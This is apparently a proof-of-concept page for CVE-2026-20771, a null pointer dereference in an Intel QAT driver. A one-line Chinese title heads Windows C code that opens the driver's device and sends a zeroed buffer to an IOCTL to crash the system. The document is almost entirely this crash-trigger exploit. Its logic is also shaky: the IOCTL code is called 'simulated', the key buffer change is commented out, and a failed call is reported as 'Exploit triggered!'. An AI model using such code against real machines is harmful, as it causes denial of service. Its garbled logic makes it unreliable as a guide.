CVE-2026-20771 Intel QAT驱动空指针解引漏洞

#include <windows.h> #include <stdio.h> // Simulated IOCTL code for the vulnerable function #define VULNERABLE_IOCTL 0x222003 int main() { // Attempt to open the device handle HANDLE hDevice = CreateFileA("\\\\.\\IntelQATDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } // Prepare input buffer simulating the null pointer dereference trigger // The vulnerable driver expects a valid pointer but receives NULL/invalid data BYTE inBuffer[1024]; memset(inBuffer, 0, sizeof(inBuffer)); // Manipulate buffer to pass NULL pointer equivalent to the driver // Offset depends on specific driver structure // *(DWORD*)(inBuffer + 0x10) = 0; DWORD bytesReturned; BOOL result = DeviceIoControl( hDevice, VULNERABLE_IOCTL, inBuffer, sizeof(inBuffer), // Input buffer NULL, 0, // Output buffer &bytesReturned, NULL ); if (!result) { printf("Exploit triggered! DeviceIoControl failed with error: %d\n", GetLastError()); // Expected behavior: System crash or BSOD due to null pointer dereference } else { printf("Call succeeded, vulnerability not triggered.\n"); } CloseHandle(hDevice); return 0; }